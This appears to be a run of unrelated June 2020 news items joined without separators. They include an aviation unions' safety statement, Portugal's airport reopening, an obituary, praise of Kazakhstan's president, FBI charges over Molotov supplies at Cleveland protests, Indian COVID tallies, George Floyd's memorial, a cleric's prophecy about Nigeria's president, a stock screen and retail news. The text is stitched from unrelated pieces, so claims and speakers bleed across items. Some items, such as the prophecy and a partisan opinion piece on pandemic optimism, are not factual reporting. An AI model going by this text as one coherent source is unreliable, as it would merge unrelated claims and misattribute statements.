Stephen Cotton ITF General Secretary said: "Transport workers have a unique insight into the challenges being faced and we call on regulators and airlines to listen to the workers keeping the world connected, they are the heart and soul of the aviation industry. The safety of our members and that of passengers is paramount, we call on regulators and employers to ensure all measures are taken to ensure that the skies are safe before resuming services."

View the full statement here.

NOTES FOR EDITORS

About the ITF: The International Transport Workers' Federation (ITF) is a democratic global union federation of nearly 700 transport workers trade unions representing around 20 million workers in 150 countries. The ITF works to improve the lives of transport workers globally, encouraging and organising international solidarity among its network of affiliates. The ITF represents the interests of transport workers' unions in bodies that take decisions affecting jobs, employment conditions and safety in the transport industry.

About the IFALPA: The International Federation of Air Line Pilots' Associations represents more than 100,000 pilots in nearly 100 countries around the globe. The mission of IFALPA is to promote the highest level of aviation safety worldwide and to be the global advocate of the piloting profession, providing representation, services and support to both our members and the aviation industry.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005278/en/

Contacts:

ITF

media@itf.org.uk

IFALPA

emilybitting@ifalpa.org
Source: Xinhua| 2020-06-05 20:24:25|Editor: huaxia

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Portuguese Prime Minister Antonio Costa (C) visits Humberto Delgado Airport in Lisbon, Portugal, on June 5, 2020. Antonio Costa announced on Friday that the air traffic routes will be resumed from June 15 with all the hygiene and safety rules guaranteed by the Portuguese airports. (Photo by Pedro Fiuza/Xinhua)

LISBON, June 5 (Xinhua) -- Portuguese Prime Minister Antonio Costa announced on Friday that the air traffic routes will be resumed from June 15 with all the hygiene and safety rules guaranteed by the Portuguese airports.

In a visit to Lisbon Airport, Costa said that "it is very important to be prepared, as from June 15, routes will be reactivated, borders will be opened and a joint effort will be made in the European Union so that tourism can resume its activity in full".

The prime minister added, "It is absolutely vital to have a clear idea of the cyclical crisis that civil aviation is facing".

"What will necessarily follow, in a faster or slower manner, will be the resumption of what are the opportunities for people to be able to move freely on a global scale," he added.

Costa stressed that Portugal "is now and will continue to be a country open to the world", and that Portuguese people who live, study and work outside the country cannot have been denied the right to return home.

"Like all those foreigners that we had the pleasure of being able to welcome in the last few years, (for) who chose Portugal to live, study, work, we could never close their doors so they could return to their countries of origin or visit their family members," he said.

The head of government guaranteed that Portugal will provide "hygiene guarantees and safety standards at airports", and that the reopening of air traffic "is not an uncontrolled risk factor for the development of the pandemic".

"Lisbon Airport and (other) airports in Portugal comply with safety standards and are ready to accommodate air traffic with all normality," he concluded. Enditem
Kimberly Ann Phifer, 56, of East Ridge, Tennessee, passed away on Thursday, June 4, 2020.

She attended Christ United Methodist Church and had been employed by McKee Foods for 32 years.

Kim was preceded in death by her father, Kenneth Mulkey; step-brother, Odis Hickman; grandparents, Sam Poppy and Nola Johnston.

Survivors include her husband, Kip Phifer; son, Noah Phifer; mother, Pat (Steve) Hickman; brother, Greg (Betty) Mulkey; step-brother, Steve Hickman, Jr.; step-sister, Juanita (Keith) Luna; mother-in-law, Billie Phifer; brother-in-law, Kirk (Lisa) Phifer, sister-in-law, Kim (Doug) Buck; many aunts, uncles, cousins, nieces and nephews.

Due to the current health crisis, the family will have a celebration from 3-5 p.m. on Sunday, June 7, on the parking lot of Christ United Methodist Church, 8645 East Brainerd Road, Chattanooga, Tn. 37421 for people to drive through and pay their respects to the family. Enter the parking lot from the East Brainerd Road entrance. In lieu of flowers, friends are encouraged to write a card or letter explaining how you met and knew Kim. There will be a box at a stopping point for those cards and letters to be collected. Kip wants their son, Noah to get to know his mother outside of the home setting by reading those cards and letters.

Due to the current restrictions, the church requests that people stay inside their vehicles. The family will receive friends from 9:3010:30 a.m. on Monday, June 8, at the East Chapel of Chattanooga Funeral Home, 404 South Moore Road.

A graveside service will be held at 11 a.m. on Monday at Tennessee-Georgia Memorial Park with the Reverend Debbie Stokes officiating. Friends are asked to observe social distancing during visitation and graveside services.

Graveside services will be live streamed on Facebook Live.

To view services, visit Chattanooga Funeral Home, East Chapel on Facebook and click on the live video link.

Please share your thoughts and memories at www.ChattanoogaEastChapel.com.
In 2019, Tokayev won public trust in domestic elections which marked a period of a new historical time span for the central Asian country. He became not just a legitimate Head of State but also received an electoral popular recognition.And since then, the country is on an important stretch of history, when trajectory to subsequent development is laid. In addition, international attention to processes within Kazakhstan and its actions on the world arena has significantly enhanced.When Tokayev officially took charge as head of state, he identified the main areas of activity and priorities for the work of the state apparatus. As an experienced leader, he immediately built a clear line of public policy, confirmed the continuity of the foreign policy and during inauguration announced that he would continue implementation of strategic programs of the First President of Kazakhstan - Elbasy Nursultan Nazarbayev. And all new initiatives shall focus on specifics and efficiency.During this year, Tokayev provided the soft and stable transfer of power that is the key to condition for the transit of power. On one hand, he continues to implement the current state course. On the other hand, it brought a new impetus, providing evolutionary development.Nazarbayev, the leader of the nation, comprehensively supports Tokayev. Ensuring continuity of authority, the second Kazakhstan leader lays a new direction to state development based on dialogue with the society, pluralism of opinions and diversity of views.The time of political transit in Kazakhstan also coincided with a period of global change and transformation as well, which left its mark on the actions of the new Kazak leader.New domestic political paradigms have been proclaimed: "Hearing state", "Various opinions - one nation" and "successful economic reforms are impossible without modernization of the socio-political life of the country", "A Strong President - An Influential Parliament - Accountable Government."Being an active user of social networks, Tokayev was quick to seek assessment on topics or other relevant events taking place in the country. Moreover, he spoke openly on all resonant matters, giving a direct signal to citizens that keep under their control all issues of concern to the public.Despite the trend of dialogue and liberalization, Tokayev retained controllability of the state apparatus and its performance discipline. In the country, the format of official events becomes more public, gradually.The principle of "hearing state", bureaucratic acts have been removed procrastination and citizens now have the opportunity to directly question authorized bodies and quickly obtain answers on all aspects of their concerns.An important area in the activities of the current Kazak president has become an increase in confidence and efficacy between the State and country's Management. For overcoming these problems Tokayev proclaimed the concept of "hearing state", which became the main philosophy of public administration. On the basis of the presidential website, a virtual reception room of the Head of State, in the structure of the Administration, the President created a unit to work with appeals led by the Deputy Head of State. Leaders of all levels excelled in social networks, thereby openness and accessibility indices of the State apparatus have substantially increased.One of the key items on the Presidential Agenda of K. Tokayev was the creation and work of the National Council of Public Trust, which included famous politicians, public figures, economists and intellectuals. The Council is working on political, social and economic domains, the most relevant and acute issues of state development.The above qualities of the Kazak leader demonstrate a real attitude towards dialogue with the society and collaborative development of decisions, which will determine the development of the state.During the single year, Tokayev further adopted complex measures to increase social well-being of his citizens. A credit amnesty was held in the country for mothers with many children, families with disabled children, orphans, families who have lost the breadwinner, total - more than 500 thousand people.A system of social community support has also been developed. Since the current year student scholarships, employee salaries have been increased for teachers, employees of budget bodies, civil protection and law enforcement units.In order to strengthen human rights and public protection systems security, the Kazak leader has demanded to toughen criminal penalties for drug trafficking, for rape, for human trafficking, for poaching, and others. Crimes have been classified as particularly serious and would be severely punished. Illegal manufacture and marketing drug are punishable by imprisonment of up to 15 years. For rape, it is increased from 8 to 20 years or for life. For human trafficking from 7 to 12 years old. All these measures significantly further strengthen the foundation of popular support for the measures of Tokayev.In recent times, the powerful pandemic wave of the novel coronavirus, which literally ripped apart countries across the world, but Tokayev confidently announced a state of emergency and full quarantine for his people in a bid to stain the contagion spread which lasted for two months. As a result, the country today is emerging from a pandemic with minimal losses and gradually restores its activity.The pandemic has led to a decline of global demand for raw materials led to a sharp slowdown in economic activity in all countries of the world. But despite that the negative trend has also impacted the Kazak economy, the country has sufficient financial possibilities and foreign exchange reserves for business support and domestic demand.Under Tokayev, the government has also adopted a new concept of external policies that set priorities foreign policy of Kazakhstan until 2030.The Tokayev government has also paid much attention to strengthening the economic component of foreign policy. In the new global geo-economic realities Kazakhstan optimistically searches for new economic niches and sources of income. (ANI)
CLEVELAND, Ohio  FBI agents on Friday arrested two Pennsylvania men and accused them of bringing a weapon and fire-starting materials to demonstrations in downtown Cleveland last weekend.

Brandon Althof Long, 23, and Devon Bryce Poland, 22, face federal charges related to their travel from Erie, about 100 miles northeast of Cleveland, to the protests against police brutality, according to federal court filings. Authorities said more investigations are under way.

More than 3,000 people headed downtown last Saturday for what began as a peaceful protest over the death of George Floyd. It later turned violent, as some demonstrators burned police cars and vandalized stores and the Justice Center.

Dozens were arrested, and Long and Poland are the first to face federal charges. Authorities said there is no indication the men belonged to any organized group.

You may think that you are anonymous. You may think that you escaped the city last Saturday night, but Mr. Poland and Mr. Long thought the same thing, said Eric Smith, the FBIs agent in charge of the Cleveland field office.

They were originally stopped by Cleveland police and charged with curfew violations. Cleveland police turned the case over to the FBI, who brought the case federally. The men are accused of transporting a firearm in furtherance of civil disobedience; using fire or an explosive device to commit a felony; and participating or carrying on a riot.

The two men were arrested on the charges at 6 a.m. Friday. They are held without bond, pending a hearing before a federal magistrate next week.

FBI agent Jennifer Kiesel, who is assigned to the Joint Terrorism Task Force, wrote in affidavits unsealed Friday that the men brought a pistol, spray paint and fire-starting equipment to the protests.

Authorities searched their iPhones and reviewed Facebook messages that showed they discussed purchasing supplies to make a Molotov cocktail as they planned to head to Cleveland. Poland appeared hesitant, saying his future wife needed him, according to the affidavits.

Long, however, was insistent, the affidavits said.

This is a once-in-a-lifetime thing you can witness and maybe participate in, Long wrote to Poland before they left Erie, according to the affidavits. Or tell her you gotta go overthrow the government first.

Poland later asked, Should we bring Molotov supplies?

Long responded: Sadly enough, I think I have everything needed for a Molotov in my car. Like normal.

Cleveland police detectives spotted Long walking near his SUV parked near an alley off Huron Avenue at 11:55 p.m. Saturday, almost four hours after the citys curfew began. In his car, officers found that he had a .45-caliber Glock, two bottles of fire starters, paint, a hammer and a bottle of whiskey, which appeared to have been stolen.

Long said he carried the Glock for protection, but he denied that he carried it with him during the violent protests.

The men were later released from Cleveland police, and they returned to Erie. The FBI later obtained authorization to search the mens phones, and Kiesel found the messages about the mens plans to head to Cleveland.

Cleveland seems like a better spot to riot watch, Long told Poland in one of the messages, according to the affidavits. Police are shooting tear gas. Pittsburgh hasnt had much of that.

U.S. Attorney Justin Herdman told reporters Friday that it was clear that there were out-of-state agitators who hijacked last weekends peaceful protests for their own purposes. He said authorities are working on other investigations involving a series of individuals who are responsible for the destruction of our downtown.

However, Cleveland police, Herdman the FBI and the criminal affidavit provided no evidence that the two men participated in any acts of violence or vandalism during their time in downtown Cleveland.

Longs attorney, Mitchell Yelsky of Cleveland, said his client enjoys the exact same constitutional protections and guarantees as everyone in this country. That includes the right to be presumed innocent, the right to freely travel the interstates and roadways, the right to peacefully assemble and the right to express political views, including extreme political views.

Polands attorney, Marie Goellner, could not be reached.

Authorities stressed that investigators are working to find those who committed crimes in the city last weekend.

If you burned a car, broke into a store or beat somebody up, then we are going to find you and hold you responsible, Herdman said.

Calvin Williams, Clevelands police chief, agreed: A lot of people came here to tear down our city. We cant let that happen.

Williams and other city and federal leaders said they welcome peaceful protests, which they called a cornerstone of democracy. Other protests are scheduled for this weekend in Cleveland and other cities across the state.

Were prepared, Williams said. We are prepared.
Those climatic factors affect how our bodies function and how susceptible they may be. For instance, Bob Scholes, professor of systems ecology at the Global Change Institute of the University of the Witwatersrand in Johannesburg, said that in cold weather, mucus tends to form at the tip of the nose, which may promote inhalation of infected droplets, as it does with influenza and the common cold.
There has been a great reaction to Breda Marron's bronze sculpture 'Heart Space' which was installed in Dundalk's St Nicholas Quarter

last week.

Townspeople have given the thumbs up to this latest piece of public art in the town centre, which was commissioned by Louth County Counci is part of the EU funded multi-million Euro rejuvenation of Clanbrassil St and the Lower End.

'When the concept was first conceived in 2018, no one could have predicted the times we now find ourselves in,' says Breda, who works from her studio in Drogheda. Yet it seems serendipitous that the inspiration for the piece, came from the concept of two beings, showing true love, by holding space for each other, without touching.'

She explains that the striking piece depicts 'two abstract swan figures, which from a distance seem to dance as one, yet when you come closer you realise, they are separate individuals, simply in rhythm with each other.'

The essence of the sculpture also links back to the Celtic concept of an 'Anam Cara', the Irish phrase for a 'Soul Friend'.

'When I first began working on the inspiration for this sculpture, I focused on what I felt the space needed and for me that was a deeper sense of love. The morning after my initial site visit, I woke up with an image in my mind and I had to painted it straight away. At that early stage, the image consisted of two separate wings, with the space between forming a heart. The wings were a green bronze with a polished bronze forming the edge of the heart. As the ideas evolved, the swan imagery became stronger and new connections to the area were formed, but the essence of the original vision remained," said the artist.

Each swan sculpture has a deep green bronze patina on the outer layer, emphasising that each swan being wrapped in a cloak of love and protection. An inner section of polished gold captures the sunlight and links to the heart of gold and positive energy shared between the two swans.
Ontario is lifting restrictions on short-term rentals today.

Economic Development Minister Vic Fedeli says the facilities were able to resume operations as of 12:01 a.m.

Lodges, cabins, cottages, homes, condominiums and bed-and-breakfast rentals are all included in the reopening.

Ontarios tourism minister said Thursday the sector had been hard hit by the COVID-19 pandemic.

Lisa MacLeod pledged more government support but also urged Ontarians to support local businesses and take staycations.

She says the province may not see its visitor levels return to 2019 levels until 2024.
Ten more people were tested positive for Covid-19 on Thursday, taking Himachal Pradeshs total tally to 393.

Of these, three cases were reported from Kangra, two from Hamirpur and one each from Una, Shimla, Chamba, Bilaspur and Kullu.

With this, active cases in state are at 199, and eight people have recovered on Friday, said special secretary (health) Nipun Jindal.

KANGRA CASES BREACH 100-MARK

With three more cases, Kangra, the most populous district of the hill-state, breached the 100-mark.

Kangra deputy commissioner Rakesh Kumar Prajapati said that among the new infections is a couple from Nurpur area in district.

Sample of the 34-year-old man and his 31-year-old wife, who had returned from Delhi on May 27, came out as positive on Friday, said Prajapati.

Their two-year-old child had tested positive last Sunday and is admitted at the covid care centre in Baijnath.

Apart from this, a 40-year-old man hailing from Nurpur subdivision has also tested positive for the virus. His son is already undergoing treatment for the disease.

Prajapati said that the total tally in district has climbed to 101 including 50 active cases, 50 recoveries and one death.

On Friday, three members of a family recovered. They include a pregnant woman, her husband and her mother-in-law, who had returned from Mumbai on May 17, he said.

TWO CASES IN HAMIRPUR, ONE IN SHIMLA

Meanwhile, two cases were reported from Hamirpur and one case each from Shimla and Una.

The Shimla patient, a 47-year-old man, originally belongs to Palampur and was under institutional quarantine at Shogi, near Shimla.

Three more cases were reported late eveningone each from Chamba, Bilaspur and Kullu.

Active cases in Himachal stand at 199. Eleven of the 12 districts in Himachal Pradesh are affected by Covid-19. The tribal district of Lahaul and Spiti is the only Covid-free district so far.

The states tally is 393 cases with five fatalities, including three men and two women.

Hamirpur is the worst-hit district with 120 cases followed by Kangra with 101 cases. A total of 41 cases have been reported in Una, 32 in Solan, 29 in Chamba, 21 in Bilaspur, 20 in Mandi, 12 in Shimla, 11 in Sirmaur, four in Kullu and two in Kinnaur. Till date, a total of 185 people have recovered.

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A new version of worship favorite "Way Maker" is now available from Revere and fronted by William McDowell and Darlene Zschech. They've recently shared, "We've been singing it and we've heard it in different versions, but the best-kept secret about 'Way Maker' is that it was born in Nigeria. Our hope with the Revere version is to gently help steer the church away from a production culture where the emphasis can, mistakenly, become a love for worship, to a reverential culture where the focus is, clearly and firmly, a love for Christ."

In her introductory comments on the video, Darlene Zschech unveils the best kept secret about this song that has taken the western world by storm - it is from Africa.

"Way Maker" has also become an anthem over the past weeks during the COVID-19 pandemic. Numerous hospitals have been playing the song from their rooftops to the parking lots, taking a few moments to pray for those impacted by the virus as well as to honor those who are tirelessly working the front lines to battle this pandemic. And just this weekend, the song was sung by thousands who took to the streets in Minneapolis, MN during a protest march to honor the life of George Floyd and to fight against racism.

"For years, we have longed to see the songs of other nations meaningfully impact the global church," shares Jonathan Brown, President, Integrity Music. "'Way Maker' has accomplished more than our wildest dreams. It is our great joy to celebrate this powerful artist's accomplishment. Way to go, Sinach!"

Sinach, whose full name is Osinachi Okoro, is the songwriter to "Way Maker." From being sung in churches around the world to numerous versions recorded by many of today's top artists, "Way Maker" has made a global impact in truly unprecedented ways. More than 60 recording artists have covered the song, such as Leeland, Michael W. Smith - whose version went to No. 1 at radio, Mandisa, Bethel, Passion (feat. Kristian Stanfill, Kari Jobe, Cody Carnes), Miranda Curtis, American Idol contestants Genevieve Linkowski and David Archuletta, and most recently Revere featuring Darlene Zschech and William McDowell.

At press time, Sinach's 'Way Maker" music video has more than 151 million views (video below), while Leeland's version has received more than 67 million streams and the video has more than 27 million views. "Way Maker" also been adopted as a modern worship standard within the global church, climbing to the top four on CCLI's US Chart.

Tags : Darlene Zschech and William McDowell Darlene Zschech Hillsong Darlene Zschech william mcdowell Revere Featuring Darlene Zschech and William McDowell "Way Maker" Integrity Music sinach
Before the pandemic struck, not many people had heard of Professor Karol Sikora. He's a consultant oncologist of international renown, as well as a former director of the World Health Organisation (WHO) Cancer Programme. But Sikora has never been anything like a household name - until now.

Since joining Twitter on March 6, the 71-year-old dean of the University of Buckingham's medical school has rapidly gathered 270,000 followers, and counting: most unusual for an academic. As Times Higher Education points out, that's more than the classicist Mary Beard managed to accumulate in a whole decade on Twitter.

So what's the attraction of Prof Sikora? Why are people so eager to hear his thoughts about the pandemic?

That can be answered in one word: optimism. Sikora - now known by his media nickname of Professor Positivity - has his sights firmly set on the sunny side of the street.

In a world turned upside down, he provides a wise, calm counterpoint to the dominant narrative of doom, compulsory pessimism and fear. And he has the knowledge and experience to back it up, not to mention a warm bedside manner that exudes reassurance - his cancer patients must love him.

Prepare for the worst but hope for the best: that's the professor's message. No wonder his popularity is soaring.

Sikora is no renegade. He encourages people to follow the rules, urging everyone to "do their bit" and "be sensible". He laments the immense suffering that the pandemic has caused.

Sikora supported the UK lockdown, but now he believes it must be eased, and soon. Why?

Because for most of us, especially those best placed to restart the economy, there's little to fear. As he points out, "we know that Covid-19 is not a random killer, but one that targets specific groups - namely the old and those with pre-existing conditions such as diabetes or dementia".

As the death figures continue a downward trajectory, Sikora thinks that the public's confidence should be boosted by releasing the numbers of people who have recovered from Covid-19.

This is the norm in other countries, yet for some reason the UK Government has so far failed to produce the recovery figures.

Sikora believes that overly alarmist government propaganda has left society in a state of terror which could cause more misery, suffering and death than the virus itself, with the poorest worst affected.

Indeed, that was why he took to Twitter in the first place.

The shocking drop in the number of cancer diagnoses, as frightened people avoided hospitals, left him deeply concerned that cancer deaths could exceed those caused by coronavirus.

He felt he had to speak out, and says he has been amazed by the popular response.

Not everyone appreciates Professor Positivity, however.

Piers Morgan, host of Good Morning Britain, has continually sneered at Sikora's optimism on Twitter. Refreshingly, Sikora replies with calm courtesy, pointing out that while it has indeed been a horrific few months, infections, hospitalisations and fatalities are all falling, and people deserve to know the progress that's been made.

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Why a breakfast television presenter thinks he knows better than a highly qualified practitioner with 50 years of medical experience behind him is a mystery.

Of far more concern than Morgan's histrionic jibes, however, was the removal of an interview with Professor Sikora from YouTube, in which he discussed his views about the potential risks of continued lockdown.

YouTube justified the move by claiming that the video was taken down for "violating guidelines". It was later reinstated, but the fact that it was banned at all is deeply worrying.

This wasn't some foolish randomer telling us to sip hot water or avoid ice-cream to ward off corona. It was a distinguished professor sharing evidence-based insights.

Does being "too optimistic" about Covid-19, or not sufficiently pro-lockdown, now make even top scientists a target for censorship? If so, we're in even more trouble than we thought.

No doubt Piers Morgan will blow a gasket when he reads Professor Sikora's latest analysis. The irrepressibly upbeat prof says he has a "sneaking feeling we'll be largely through this by September".

"And when it is all over," he adds, "we must do our best not to emerge into a 'New Normal' - in that dismal cliched phrase that suggests a dull, constrained future - but an 'Old Normal', as we seize back our former lives."

Trust me, I'm a doctor - never has the old saying meant so much.

Karol Sikora is bringing the world exactly the medicine it needs right now: hope.
Minneapolis, June 5 : The US city of Minneapolis bid farewell to George Floyd 10 days after his death in police custody which triggered the country's largest racial justice protests of the 21st century.

Floyd's funeral will take place in Texas on June 9, but on Thursday a memorial service was held in Minneapolis, the city in which he had lived for the past few years and where he was killed on May 25, reports Efe news.

"George Floyd's story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck," Reverend Al Sharpton said in a eulogy.

Passersby made videos of the incident with their mobile phones that showed Minneapolis police officer, Derek Chauvin, kneeling with his full body weight on Floyd's neck after he had been handcuffed and placed facedown on the pavement.

During the first several minutes, Floyd complained that he could not breathe and pleaded for help.

He then lost consciousness, although Chauvin remained kneeling on his neck for several minutes.

"What happened to Floyd happens every day in this country, in education, in health services and in every area of American life. It's time for us to stand up in George's name and say: get your knee off our necks," the Reverend said.

On Wednesday, the attorney general of Minnesota, Keith Ellison, said the charge against Chauvin has been upgraded to second-degree murder from the charges of third-degree murder and manslaughter levelled against him on May 29.

Meanwhile, three other police officials who were present during Floyd's arrest, Tou Thao, J. Alexander Kueng, and Thomas Lane, face charges of aiding and abetting second-degree murder.

Also on Thursday, Judge Paul R. Scoggin set bail at $1 million each for the three officers, or $750,000 under certain conditions, including that they do not work in law enforcement or have contact with Floyd's family.

Chauvin however, will not appear before a judge until next week On the 10th day of protests in the US, many cities that had experienced nights of violence, chaos and looting, particularly in Washington and Los Angeles, lifted curfew restrictions following largely peaceful protests and no disturbances.

In New York, however, with the curfew still in force, the large deployment of police in the city helped disperse protesters and detain all those who have resisted leaving the streets on a day when the heavy protests reduced a little.

In Buffalo, New York, two police personnel were suspended after they pushed a 75-year-old man to the ground and left him bleeding and unconscious.

New York Governor Andrew Cuomo called the incident "wholly unjustified and utterly disgraceful," while the man hospitalized is in a stable condition.

In Salt Lake City, Utah, the authorities detained a man who last week brandished a machete and later a bow and arrow and shouted "Yes, I am American. All lives matter", in a counterpoint to "black lives matter", which is championed in the protests.
The number of asylum seekers in Direct Provision and emergency accommodation centres increased by 30% last year.

There were nearly 6,000 people in Direct Provision centres and 1,633 asylum-seekers in emergency facilities.
The leader of INRI Evangelical Spiritual Church, Primate Elijah Ayodele, has prophesied that President Muhammadu Buhari will cry over th...

The leader of INRI Evangelical Spiritual Church, Primate Elijah Ayodele, has prophesied that President Muhammadu Buhari will cry over the death of another aide and relative.





He stated this while reacting to the fire incident that occurred at the Presidential Villa on Friday, adding that he had earlier warned in December 2019 that the country should pray against fire disasters in Aso rock.





Recall that what would have been a major disaster was averted when a fire incident occurred at the Presidential Villa in Abuja yesterday but was brought under control by the timely response by members of staff.





The fire, according to the presidential spokesman, Garba Shehu was caused by a spark in the power supply and luckily, there was no injuries or death recorded

In a statement on Friday, Ayodele said in that same prophecy, he asked Nigerians to pray against death and several attacks in the villa





He recalled the death of Buharis Chief of staff, Abba Kyari occurred months ago, and now, the fire disaster, that was luckily brought under control.





Primate Ayodele warned that he foresees trouble, death in Aso rock and that serious prayers was needed to avert the danger.





He stated that President Buhari will cry over the loss of a relative and another aide, if prayers are not done to avert it.
Owning a toxic stock whose current price is not supported by its fundamental strength is sure to result in loss over time. Toxic companies are usually characterized by huge debt burdens and are vulnerable to external shocks. Spotting these overvalued stocks and unloading them at the right time is the key to a successful investment strategy.

Overpricing of toxic stocks may be ascribed to the irrational exuberance associated with them or some serious fundamental lacunae. If you own such stocks for an inordinate period of time, they could cause massive damage to your wealth.

However, if you can pinpoint toxic stocks, you may gain in a bear market by resorting to an investing strategy called short selling. This strategy allows one to sell a stock first and then purchase it when its price falls. Naturally, short selling excels in bear markets, while it typically loses money in bull markets.

So, just like identifying stocks, picking up toxic stocks is also crucial to shield ones portfolio from huge losses or making profit by short selling them.

Screening Criteria

Here is a winning strategy that will help you identify overpriced toxic stocks:

Most recent Debt/Equity Ratio greater than the median industry average: High debt/equity ratio implies increased leverage. High leverage indicates a huge level of repayment that the company has to make in connection with the debt amount.

P/E using 12-month forward EPS estimate greater than 50: A very high forward P/E implies that a stock is highly overvalued.

% Change in F (1) and F (2) Estimate (12 Weeks) less than -5: Negative EPS estimate revision for this fiscal year and the next during the past 12 weeks points to analysts' pessimism.

Zacks Rank more than or equal to #3 (Hold): We have not considered Buy-rated stocks that generally outperform the market. You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

Here are four of the 40 toxic stocks that showed up on the screen:

Story continues

Ferrari N.V. RACE: This Italy-based automaker currently carries a Zacks Rank #4 (Sell). Over the past 30 days, its 2020 earnings estimates have declined by 25 cents. The consensus mark for 2020 earnings is pegged at $2.98 a share, suggesting a year-over-year decline of 28.4%.

Myriad Genetics, Inc. MYGN: This molecular diagnostics company, based in Utah, currently carries a Zacks Rank #4. Over the past 30 days, its fiscal 2020 estimates have declined by 21 cents a share. The Zacks Consensus Estimate is pegged at a loss of 13 cents a share, depicting a year-over-year drop of 107.8%.

Burlington Stores, Inc. BURL: Headquartered in New Jersey, this Zacks Rank #3 company functions as a retailer of branded apparel products. Over the past 30 days, the Zacks Consensus Estimate for fiscal 2021 has deteriorated to a loss of $1.10 per share from earnings of $3.16. Notably, the consensus mark indicates year-over-year fall of 114.8%.

Schlumberger Limited SLB: Based in Texas, this leading oilfield services company carries a Zacks Rank #3. Over the past 60 days, its 2020 earnings estimates have declined by 66 cents. The consensus mark for 2020 earnings is pegged at 15 cents a share, suggesting a year-over-year decline of 89.8%.

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Disclosure: Officers, directors and/or employees of Zacks Investment Research may own or have sold short securities and/or hold long and/or short positions in options that are mentioned in this material. An affiliated investment advisory firm may own or have sold short securities and/or hold long and/or short positions in options that are mentioned in this material.

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New Delhi: The Delhi Court on Friday has dismissed the interim bail application AAP MLA Prakash Jarwal, seeking permission to attend last rites of his father-in-law. The interim bail plea was filed in Rouse Avenue court.

Jarwal told the court that his father-in-law was suspected with COVID-19 virus and his sample has been taken by LNJP hospital doctors. However, additional Session Judge Sanjeev Aggarwal rejected the plea after the hearing.

Earlier, the court had dismissed the bail application of the AAP legislator saying that the probe was at a crucial stage and the accused being the MLA was "definitely an influential person" and can influence the witnesses who are yet to be examined on different aspects of the investigation.

The application said, ''That the father in law of the Applicant/Accused was suspected with Covid-19 virus and his samples has been taken by LNJP hospital doctors,'' and ''That the wife of the Applicant/Accused was also residing with her father since last many days now she has also quarantine herself also.''

Jarwal is currently lodged in Tihar Jail in connection with an alleged suicide case of a doctor. He represents the Deoli assembly constituency.

He was arrested on May 9, after a case of extortion and abetment to suicide was filed against him and others based on a police complaint by the doctor's son.

(With ANI input)
No Time to Die is an upcoming spy film starring Daniel Craig as James Bond. Directed by Cary Joji Fukunaga, it is the twenty-fifth installment in the James Bond film franchise. Craig will be reprising the character for the fifth and final time. The actor says that it is the best possible sign off to the role. Read to know more.

Also Read | Daniel Craig Might Play James Bond Even After 'No Time To Die'

Daniel Craig grateful for No Time to Die

In an interview with an online portal, Daniel Craig opened up about portraying James Bond for the last time. He said that playing Bond has been a part of his life for over a decade now. Craig stated that this was just one more chance to do something with the character they have not done before and to sort of sign off in the best way possible. The actor noted that he is just grateful for the chance to do it.

Also Read | 'No Time To Die': 'Class Apart,' Fans React To Daniel Craig's New James Bond Teaser

Author of James Bond book, Ian Fleming has showed much love for Jamaica, even settling down there. The character has spent a fair amount of time there in books as well as in a few films. But Daniel Craigs depiction of the role has never been shot in the island country until the forthcoming movie.

The actor said that being in Jamaica was just exciting on so many levels for him. He has not been here for one. But also it is where Fleming wrote them so they were created here. He stated that there is always been a connection. Somehow James Bond has always ended in Jamaica for some reason or another. A lot of the movies have been shot there. Craig added that they are just incredibly fortunate to get a chance to be there and they were getting looked after so beautiful. He mentioned that he is so happy enjoying the sunshine and beaches there that he just cannot express it.

Today is your final chance to bid on the signed Bond 25 clapperboard in the BLUE Auction in aid of #NHS Charities Covid-19 URGENT APPEAL. The auction closes at 12:03 BST today. https://t.co/fGdvZyWopR pic.twitter.com/KL5JlqN8PU  James Bond (@007) April 29, 2020

Also Read | "No Time To Die Trailer Looks Exceptional" Says Audience About Daniel Crag's Film

No Time to Die also stars Ralph Fiennes, Naomie Harris, Ben Whishaw, Rory Kinnear, Jeffrey Wright, and Lea Seydoux, who will reportedly reprise their roles from previous films. The new addition to the cast is Rami Malek, Ana de Armas, Lashana Lynch, David Dencik, Dali Benssalah and Billy Magnussen. The film was first scheduled to release in April 2020. But it got postponed due to the outbreak of Coronavirus, as per reports. No Time to Die is now slated to release in November 2020.

Also Read | Daniel Craig Reveals He Wasn't Allowed To Drive For Chase Sequences In 'No Time To Die'
With 153 new coronavirus disease (Covid-19) cases being reported on Friday, the total count of infected persons in Gurugram now stands at 1,563. It includes a contractual worker deployed at the accounts wing of the Municipal Corporation of Gurugram (MCG), who has been tested positive for coronavirus.

According to the state health bulletin, the total tally stands at 1,563, of which 1,227 are active patients, who are either hospitalised or under home isolation, while 332 have recovered from the illness. A total of 40 patients were discharged on Friday  the highest single-day discharge. The number of coronavirus fatalities stands at four.

Data shows that in the three weeks, from May 18 (when the total count was 211) till June 3(when the total count was 1,195) , cases have multiplied by more than five times. From May 28 onwards, the city has started reporting a sudden spike in the number of cases.

Acknowledging the surge in cases, a senior official in the state government said, Positive cases are rapidly increasing. This is because we are tracing people who have been missed due to poor reporting of data in the past. In this process, we are getting many new positive patients who are asymptomatic in nature. It has led to the surge in numbers, said the official.

On Friday, VS Kundu, CEO, Gurugram Metropolitan Development Authority(GMDA), also the monitoring in-charge for the Covid-19 in Gurugram, issued a statement, saying that criminal action will be initiated against any hospital that refuses treatment to a Covid-19 positive pregnant woman. Health official said that they are often getting cases where private hospitals are refusing to treat Covid-19 positive pregnant woman.

On the other hand, MCG has closed its main office in Sector 34 till Monday after a positive case was reported. Officials said that all employees on the second floor, where the accounts branch is located, will be tested for the virus. They also said that other officials who suspect they are exhibiting symptoms can also volunteer to get themselves checked as a precautionary measure.
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TOKYO  After its original April planned opening date was pushed back due to the coronavirus pandemic, a new mixed-use complex will open its doors Friday, directly across from the Japanese capitals busy Harajuku station.

Anchored by Japans first city-center Ikea store and one of the largest Uniqlo stores in the world, the complex is also home to luxury residences. Other tenants include Shiseido Parlour, Oshmans, Dr. Martens, local outdoor lifestyle brand Snow Peak, Seiko, and a multibrand cosmetics store, hair and makeup salon called Beauty Square.

The Uniqlo store represents something of a homecoming for the brand, as Harajuku was home to its very first urban location some 22 years ago. After closing its UT store in the neighborhood eight years ago, Uniqlo was absent from the area until now. Its new digs have a sales floor area of over 21,300 square feet and a separate section where customers can shop via its own StyleHint smartphone app.

